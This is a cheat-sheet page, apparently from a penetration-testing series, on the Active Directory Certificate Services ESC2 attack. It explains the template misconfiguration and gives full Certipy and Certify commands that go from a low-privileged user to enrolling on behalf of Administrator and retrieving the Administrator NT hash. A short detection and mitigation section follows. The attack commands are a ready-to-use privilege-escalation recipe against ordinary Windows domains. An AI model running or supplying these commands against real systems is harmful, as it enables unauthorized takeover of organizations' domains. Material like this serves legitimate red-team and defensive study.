π’ Attack #28 β ESC2: Any Purpose EKU / No EKU#
π How It Works#
ESC2 exploits certificate templates configured with the "Any Purpose" Extended Key Usage (EKU) (OID 2.5.29.37.0) or no EKU at all. Such certificates are treated as universal β they can function as any EKU, including Client Authentication and Certificate Request Agent. This means a low-privileged user who enrolls for an ESC2-vulnerable certificate can use it as an Enrollment Agent to request certificates on behalf of any other user, including Domain Admins.
Vulnerable Template Conditions#
- Template is published/enabled on a CA
- Low-privileged users (Authenticated Users / Domain Users) have enrollment rights
- EKU is set to "Any Purpose" OR is completely empty
- Manager approval is NOT required
- Authorized signatures are NOT required
βοΈ Prerequisites#
| Requirement |
Detail |
| Enrollment rights on ESC2 template |
Domain Users / Authenticated Users can enroll |
| ADCS deployed |
Certificate Authority must be running |
| Tool |
Platform |
Notes |
| Certipy |
Linux |
find -vulnerable, req for enrollment |
| Certify |
Windows |
find /vulnerable, request for enrollment |
π» Full Commands#
π΅ Enumerate ESC2 Templates#
# ββ Certipy βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
certipy find -u low_user@corp.local -p 'Password1' -dc-ip 10.10.10.10 -vulnerable -stdout
# Look for: [!] Vulnerabilities: ESC2
# ββ Certify βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
.\Certify.exe find /vulnerable
# Look for templates with "Any Purpose" or empty EKU
π΄ Exploit ESC2#
# ββ Step 1: Enroll for the ESC2 certificate βββββββββββββββββββββββββββββββββββ
certipy req -u low_user@corp.local -p 'Password1' -ca CORP-CA \
-template VulnTemplate -dc-ip 10.10.10.10
# ββ Step 2: Use as enrollment agent to request cert as Administrator ββββββββββ
certipy req -u low_user@corp.local -p 'Password1' -ca CORP-CA \
-template User -on-behalf-of 'corp\Administrator' \
-pfx low_user.pfx -dc-ip 10.10.10.10
# ββ Step 3: Authenticate with the Administrator certificate ββββββββββββββββββ
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
# Returns NT hash for Administrator
# ββ Certify (Windows) βββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
.\Certify.exe request /ca:CORP-CA /template:VulnTemplate
# Use resulting cert as enrollment agent for further requests
π‘οΈ Detection β Event IDs#
| Event ID |
Source |
What to Look For |
| 4886 |
Security Log (CA) |
Certificate enrollment β track low-priv users enrolling for any-purpose templates |
| 4887 |
Security Log (CA) |
Certificate request approved |
| 4768 |
Security Log (DC) |
PKINIT TGT request using the forged certificate |
π Attack Chain Context#
[ESC2] βββ Any Purpose cert β Enrollment Agent β impersonate any user
β
ββββ π Used as stepping stone to ESC3-style enrollment agent abuse
ββββ π Low-priv user β DA certificate β domain compromise
ββββ π Defeated by: restrict EKUs, require approval, audit enrollment
β
Attack #28 β ESC2 complete.